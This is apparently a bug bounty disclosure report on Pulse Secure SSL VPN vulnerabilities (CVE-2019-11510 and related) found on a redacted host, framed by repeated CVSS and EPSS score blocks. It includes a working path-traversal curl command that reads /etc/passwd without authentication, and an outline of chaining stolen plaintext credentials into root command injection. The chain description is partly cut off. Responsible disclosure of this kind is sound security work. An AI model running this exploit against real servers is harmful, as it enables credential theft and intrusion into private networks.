10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.973 High
EPSS
Percentile
99.8%
##Description
Hello. Some time ago, researcher Orange Tsai from DEVCORE team had a talk on Defcon/BlackHat regarding Pulse Secure SSL VPN vulnerabilities fixed on 2019/4/25:
CVE-2019-11510 - Pre-auth Arbitrary File ReadingCVE-2019-11542 - Post-auth Stack Buffer OverflowCVE-2019-11539 - Post-auth Command InjectionCVE-2019-11538 - Post-auth Arbitrary File ReadingCVE-2019-11508 - Post-auth Arbitrary File Writing
CVE-2019-11540 - Post-auth Session Hijacking
Link to the slides: https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf
I discovered that https://ββββ instance is vulnerable to described vulnerabilities.
##POC
Extracting /etc/passwd
as example:
curl -i -k --path-as-is https://ββββββ/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/
{F561180}
The RCE can be achieved with this chain:
/data/runtime/mtmp/lmdb/dataa/data.mdb
) and authorizes on VPN##Suggested fix
Update the Pulse Secure SSL VPN software (also implementing certificate validation can harden access a bit if some similar CVEs will be discovered in future).
Remote code execution as root (by reading plaintext credentials and then exploiting CVE-2019-11539 - Post-auth Command Injection) and accessing intranet behind VPN.
10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.973 High
EPSS
Percentile
99.8%